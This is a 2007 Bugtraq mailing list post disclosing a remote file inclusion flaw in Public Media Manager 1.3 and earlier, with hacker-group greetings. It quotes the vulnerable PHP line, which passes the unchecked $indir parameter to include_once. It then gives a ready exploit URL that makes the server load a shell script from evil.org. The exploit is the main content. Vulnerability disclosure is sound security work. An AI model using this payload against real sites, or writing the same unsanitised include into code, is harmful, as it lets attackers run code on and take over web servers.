Bugtraq mailing list archives
Public Media Manager <= 1.3 Remote File Inclusion Vulnerability
From: 0in.email () gmail com
Date: 29 Sep 2007 06:08:03 -0000
#f0und bY 0in #Contact: 0in.email () gmail com #Download:http://pmm-cms.sourceforge.net/ #Greetings to:All Dark-Coders team #members:Die-angel,Slim,Umbro #and other friends #Joker186,Artysta,Kaja,Wojto111,Rade0n BUG: news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php"; Expl0it: http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt? Orginal first post & exploit: http://milw0rm.com/exploits/4465
Current thread:
- Public Media Manager <= 1.3 Remote File Inclusion Vulnerability 0in . email (Sep 29)